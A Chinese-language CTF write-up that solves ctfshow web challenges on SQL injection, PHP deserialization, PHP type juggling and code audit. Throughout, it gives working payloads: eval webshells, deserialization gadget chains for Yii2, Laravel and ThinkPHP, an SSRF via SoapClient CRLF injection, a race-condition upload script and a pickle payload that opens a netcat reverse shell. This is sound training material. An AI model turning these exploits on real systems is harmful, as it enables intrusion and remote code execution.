被过滤了,可以用 extractvalue
,两个原理都是xpath语法错误报错。
'and(select extractvalue("~",concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))))%23
'and(select extractvalue("~",concat('~',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'))))%23
'and(select extractvalue("~",concat('~',(select flag1 from ctfshow_flagsa))))%23
web246
0x02 反序列化
web254
接收两个get参数,然后判断用户名密码是否等于 'xxxxxx'
,等于则返回flag,直接传参就可以了。
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
web255
与上一题类似,但是会读取cookie,读入一个序列化参数,然后进行反序列化,判断 $isVip
是否为true。
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
get传参,抓包修改cookie即可。
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
web256
这题相比上一题,多了个输入的用户名和密码不能相等的条件,改一下就行了。
get请求参数为 ?username=so4ms&password=xxxxxx
,然后构造payload如下。
<?php
class ctfShowUser{
public $username='so4ms';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
web257
这里用了 __construct()
方法来初始化ctfShowUser类,使其 $class
指向info
类,我们可以在反序列化时修改其指向 backDoor
类,然后修改code属性为获取flag的代码,随后执行eval获取flag。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
payload:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");';
}
echo urlencode(serialize(new ctfShowUser()));
web258
取消了对用户名密码和VIP的验证,只有正则表达式对 O:数字
的过滤。在数字前加一个+就可以绕过。
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))
payload:
user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
web259
反序列化读取的参数,然后调用 $vip->getFlag()
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
在 flag.php 中,会判断 HTTP_X_FORWARDED_FOR
,请求是否来自本地,然后参数token等于ctfshow输出flag到文件。
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这里没有给我们任何类,应该是考察原生类的反序列化。
POC:
<?php
$a = new SoapClient(null, array(
'user_agent' => "so4ms\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'location' => "http://127.0.0.1/flag.php",
'uri' => "so4ms"));
echo urlencode(serialize($a));
这里在反序列化 SoapClient
后,调用 getFlag()
函数,由于该类不存在这个函数,会触发 __call
魔术方法。
我们在 user_agent
中进行CRLF注入,使得可以传入参数token,然后location为本地请求flag.php的url,反序列化后flag就会被读入flag.txt了。
web260
直接传入 ?ctfshow=ctfshow_i_love_36D
即可。
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
web261
这里的 __unserialize
是PHP7.4新增的魔术方法,和 __wakeup
类似,在进行反序列化时触发,但是当 __unserialize
存在是不会触发 __wakeup
。
class ctfshowvip{
public $username;
public $password;
public $code;
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
这里 __destruct
会判断 code是否等于0x36d,满足条件就会进行写文件,而code是username和password进行拼接,0x36d的十进制为877,在弱比较中,877.php==0x36d
成立,所以username传入877.php,password传入shell就行了。
POC:
<?php
class ctfshowvip
{
public $username;
public $password;
public $code='';
public function __construct()
{
$this->username='877.php';
$this->password='<?php eval($_POST[1]); ?>';
}
}
echo serialize(new ctfshowvip());
web262
传入三个参数,然后new一个对象 message
,然后将其序列化,并将 'fuck'
替换为 'loveU'
,然后base64编码一下,存入cookie。
<?php
/*
# @message.php
*/
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
然后我们在最开始的注释中可以发现 message.php
,访问一下,发现他会将cookie中存的序列化对象取出,然后base64解码后反序列化,如果token等于admin就输出flag。
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
payload:
<?php
class message{
public $from='a';
public $msg='a';
public $to='a';
public $token='admin';
}
echo base64_encode(serialize(new message()));
web263
Session序列化选择器漏洞。
PHP Session序列化选择器漏洞主要是 session.save_handler
不同造成的。session.serialize_handler
定义的选择器有三种,如果不选定使用哪种选择器的话,默认是 php_serialize
,如果不同的选择器混用的话就会造成反序列化漏洞。
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
访问 www.zip
下载源码。
在 index.php
中,如果 'limit'
的session不存在的话,就对其进行设置。
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
在 check.php
中,包含了文件 'inc/inc.php'
,然后设置了 ini_set('session.serialize_handler', 'php');
。
<?php
//check.php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',['id','UserName0'],
["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass']]]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
?>
<?php
//inc.php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
然后在 User
类中, 魔术方法 __destruct()
使用了 file_put_contents()
函数,可以对文件内容进行写入,那么我们就可以构造 User
类的序列化字符串,然后对其属性进行设置以对文件写入代码获取flag。
序列化后的字符串为 O:4:"User":3:{s:8:"username";s:9:"shell.php";s:8:"password";s:27:"<?php system('cat fla*); ?>";s:6:"status";N;}
。我们在最前面加上 |
,因为选择器为 php
,所以这个字符串就会被反序列化为一个 User
对象。
<?php
class User{
public $username="shell.php";
public $password="<?php system(\"cat flag.php\"); ?>";
public $status;
}
echo urlencode(base64_encode("|".serialize(new User())));
先访问index.php,然后修改cookie的 limit
值为该payload,刷新,随后访问check.php,最后访问 log-shell.php
即可。
web264
和262类似,会对序列化后的字符串进行替换,将四个字符长度的 fuck
替换为 loveU
。
<?php
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
在 message.php
中,如果反序列化后的 message
类的token为admin的话输出flag。
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这里是用到了序列化逃逸。因为在之前将两个长度不同的字符串进行了替换,而序列化字符串是考标识的长度去判断属性内容,而进行长度不等的替换后,就可以造成序列化逃逸,进而修改token的值。
正常情况下message的序列化字符串是这样的 O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"a";s:2:"to";s:1:"a";s:5:"token";s:4:"user";}
,我们想要修改token,就要加上";s:5:"token";s:5:"admin";}
,让之后的字符逃逸出来,";s:5:"token";s:5:"admin";}
长度为27,因此我们就要27个fuck来构造payload。
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
要使得password等于一串随机数,我们可以用引用。
<?php
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容,在内存中存放的地址。
<?php
class ctfshowAdmin
{
public $token = 1;
public $password = '$this->token';
}
$a = new ctfshowAdmin();
$a->password =& $a->token;
echo (serialize($a));
web266
大小写绕过正则。
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
web267
弱口令 admin:admin
登录,about下发现提示 <!--?view-source -->
,访问 /index.php?r=site%2Fabout&view-source
看到:
///backdoor/shell
unserialize(base64_decode($_GET['code']))
结合yii框架的反序列化漏洞,这里应该就是反序列化的入口点,详情可见yii2反序列化漏洞复现
但是这里 system
好像不能用,shell_exec
也没有回显,可以用 passthru
来执行命令。
exp:
<?php
namespace yii\db {
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new DbSession();
}
}
}
namespace yii\web {
use yii\rest\IndexAction;
class DbSession
{
public function __construct()
{
$a = new IndexAction();
$this->writeCallback = [$a, 'run'];;
}
}
}
namespace yii\rest {
class IndexAction
{
public function __construct()
{
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web268
上一题的payload还可以用,只是flag名字变了。
web269
同上
web270
同上
web271
打开后发现是 Laravel 框架,可以参考 laravel5.7 反序列化漏洞复现
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
require __DIR__ . '/../vendor/autoload.php';
$app = require_once __DIR__ . '/../bootstrap/app.php';
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
POC:
<?php
namespace Illuminate\Foundation\Testing {
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct()
{
$this->command = 'system';
$this->parameters[] = "cat /flag";
$this->test = new GenericUser();
$this->app = new Application();
}
}
}
namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput'] = ['hello', 'So4ms'];
$this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $bindings = [];
public function __construct()
{
$this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
web272
Laravel 5.8,可见laravel5.8 反序列化漏洞复现
POC如下,由于在执行命令后会报错,但是直接查看源码就鞥看到命令执行的结果了。
<?php
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct()
{
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver = array(new EvalLoader(), 'load');
}
}
}
namespace Illuminate\Foundation\Console {
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct()
{
$this->connection = new MockDefinition();
}
}
}
namespace Mockery\Loader {
class EvalLoader
{
}
}
namespace PhpParser\Node\Scalar\MagicConst {
class Line
{
}
}
namespace Mockery\Generator {
use PhpParser\Node\Scalar\MagicConst\Line;
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->config = new Line();
$this->code = "<?php system('cat /flag'); ?>";
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
web273
同上
web274
ThinkPHP V5.1反序列化。
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
abstract class Model
{
private $data = [];
private $withAttr = [];
protected $append = ['so4ms'=>[]];
public function __construct()
{
$this->relation = false;
$this->data = ['so4ms'=>'ls'];
$this->withAttr = ['so4ms'=>'system'];
}
}
}
namespace {
use think\process\pipes\Windows;
$windows = new Windows();
echo base64_encode(serialize($windows))."\n";
}
web275
获取一个参数fn,然后 file_get_contents('php://input')
获取一个post参数,new一个 filter
对象,之后会执行 checkevil()
函数,这里会判断两个参数然后对属性 $evilfile
进行修改。关键点在于方法 __destruct()
,如果 $this->evilfile
会true,就会执行system函数,进行字符串拼接可以进行命令执行。
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
直接拼接就行了 ?fn=;cat flag.php
。
web276
在上一题的基础上增加了 $admin
,但是由于没有反序列化的函数,可以使用phar反序列化。
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这里 file_put_contents($_GET['fn'], $content);
写文件,两个参数都是可控的,那么 $_GET['fn']
我们可以使用 phar://
伪协议来进行读取,通过 file_get_contents('php://input')
来读入phar数据,PHP 通过 phar://
协议解析数据时,由于meta-data
部分的信息会以序列化的形式储存,,解析时就会将 meta-data
部分进行反序列化,就存在反序列化的漏洞。
生成phar文件的代码如下,得设置 php.ini
的phar.readonly选项为Off,得到 phar.phar
,由于我们主要是为了触发反序列化漏洞,所以 这里的压缩内容就随意了。
<?php
class filter
{
public $filename = ';cat fla*';
public $evilfile = true;
public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
我们先上传phar文件,由于上传文件之后会被复制一次然后删除文件,所以我们可以不断上传访问来进行条件竞争。
import threading
import requests
url = 'http://153b87ae-2d4c-4821-9114-f7ba23f23916.challenge.ctf.show:8080/'
data = open('./phar.phar', 'rb').read()
def upload():
try:
requests.post(url + '?fn=phar.phar', data=data)
except Exception as e:
exit(-1)
def read():
try:
res = requests.post(url + '?fn=phar://phar.phar', data='')
if "ctfshow{" in res.text :
print(res.text)
exit(0)
except Exception as e:
exit(-1)
while True:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
web277
打开后检查源码发现有注释 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)
。
base64解码后执行 pickle.loads(m)
,显然是存在python的反序列化漏洞,可见python序列化与反序列化。访问 /backdoor
显示500错误。
这里 os.system
好像不可用,使用 os.popen
可以执行命令。
import os
import pickle
import base64
class People:
def __init__(self, name):
self.name = name
def __reduce__(self):
return (os.popen, ('ls',))
people = People(name="So4ms")
serialization = pickle.dumps(people, protocol=0)
print(base64.b64encode(serialization))
访问 http://url/backdoor?data=Y29zCnBvcGVuCnAwCihWbHMKcDEKdHAyClJwMwou
显示 backdoor here
,显然是反序列化执行成功了,但是没有回显,所以我们选择反弹shell。
import os
import pickle
import base64
class People:
def __init__(self, name):
self.name = name
def __reduce__(self):
return (os.popen, ('nc ***.***.***.*** 2021 -e /bin/sh',))
people = People(name="So4ms")
serialization = pickle.dumps(people, protocol=0)
print(base64.b64encode(serialization))
在服务器上执行命令 nc -lvvp 2021
监听端口,然后执行反序列化,回到服务器就拿到shell了。
web278
过了了 os.system
,不过277也不能用吧,payload一样的就行了。
0x03 php特性
web89
正则匹配不能输入数字,数组绕过正则表达式。
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?num[]=1
正则表达式返回完整匹配次数(可能是0),或者如果发生错误返回FALSE。
web90
不能等于4476,但是转化成数字后等于4476,传入十六进制数就行了。?num=0x117c
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
web91
绕过正则。?cmd=php%0Aphp
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
web92
同web90,?num=0x117c
web93
将字母过滤了,用八进制绕过,?num=010574
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
web94
不能以0开头了,小数点绕过 ?num=4476.0
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
web95
小数点过滤了,空格加八进制绕过。 ?num= 010574
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
web96
可以打开传入参数的文件,传入flag.php的绝对路径就行了。?u=/var/www/html/flag.php
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
web97
擦混入两个不同参数,但是md5值相等。
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
md5()函数无法处理数组,如果传入的为数组,会返回NULL,强相等成立。a[]=1&b[]=2
web98
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
三目运算符
对于条件表达式b ? x : y,先计算条件b,然后进行判断。如果b的值为true,计算x的值,运算结果为x的值;否则,计算y的值,运算结果为y的值。
如果有get请求,则post请求的值覆盖get请求的值。
最后一行,如果get请求参数 HTTP_FLAG
的值等于flag,输出flag。
因此我们get传一个参数,post传HTTP_FLAG=flag
即可。
web99
随机生成0x36d个数放入数组,然后判断get请求的参数n是否在数组中,在的话将post请求的参数content写入n代表的文件中。
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
这里in_array延用了php中的 ==
,弱类型比较。
?n=1.php content=<?php eval($_POST[1]);?>
。
web100
这里v0的值用的and去判断,三个条件中只要一个成立就返回true了。
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
然后可以使用反射类 ReflectionClass来输出 ctfshow
类的属性名。
这里有一个小demo,可以体验一下ReflectionClass的功能。
<?php
class test{
public $a = "Hello World";
function demo(){
echo "Hello World";
}
}
$b = new ReflectionClass('test');
echo $b;
//output:
//Class [ class test ] { @@ D:\PHP\data\test\test.php 2-7 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [1] { Property [ public $a ] } - Methods [1] { Method [ public method demo ] { @@ D:\PHP\data\test\test.php 4 - 6 } } }
payload: ?v1=1&v2=echo new ReflectionClass&v3=;
web101
同web100
0x04 代码审计
web301
首先先启动环境,发现是一个登录界面,那么来看看源码,找到 checklogin.php
,找到关键语句,他的SQL语句直接拼接了我们的参数,并没有进行过滤。
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
用户名输入 1' union select 1 #
,输入1,单引号闭合,联合注入,由于他的逻辑是根据用户名查询密码,然后与输入的密码进行比较,因此联合注入返回1,密码输入1,登录成功,得到flag。
web302
题目描述说修改了这个地方 if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
,也就是说要对存在数据库中的面进行了加密,找到这个加密函数,改一下之前的payload就可以接着注入了。
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
1' union select 'd9c77c4e454869d5d8da3b4be79694d3' #
,密码输入1。
echo md5(md5('1'.md5(base64_encode("sds")))."sds");
web303
这次对用户名的长度进行了限制,不能超过6。
if(strlen($username)>6){
die();
}
在sds_user.sql
中找到插入账号的语句,得到加密后的密码。
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
解是肯定解不出来的,但是在 fun.php
中多了一句输出语句,运行一下正好就是 27151b7b1ad51a38ea66b1529cde5ee4
,那么密码就是admin,弱口令yyds。
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>
登陆成功,进入后台,在 dptadd.php
中,发现了一个很贴心的注释,提醒我们这有输入点。
dpt_name=1',sds_address=(select group_concat(table_name)from information_schema.tables where table_schema=database())#
dpt_name=1',sds_address=(select group_concat(column_name)from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1',sds_address=(select flag from sds_fl9g)#
web304
增加了全局waf,但是好像没加。
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
payload同上一题。
web305
增加了waf,注入应该是注入不了了。
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
在 class.php
中发现,函数 file_put_contents
可以实现写文件的操作。
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
然后在 checklogin.php
中找到了反序列化的地方。
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
生成payload:
<?php
class user
{
public $username = '1.php';
public $password = "<?php eval(\$_POST['shell']);?>";
}
echo urlencode(serialize(new user()));
修改cookie后访问 checklogin.php
就可以成功写入文件,然后用蚁剑连数据库,数据可以类型选择 mysqli
,密码就是root,被文件里面的密码骗了。。。
web306
在 class.php
中同样存在写文件的操作
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
在 login.php
和 index.php
中有反序列化的操作
$user = unserialize(base64_decode($_COOKIE['user']));
之后在 dao.php
中找到了 dao
类的 __destruct()
方法调用了close函数,也就是说,如果 $this->conn
是log类的话就可以写文件了。
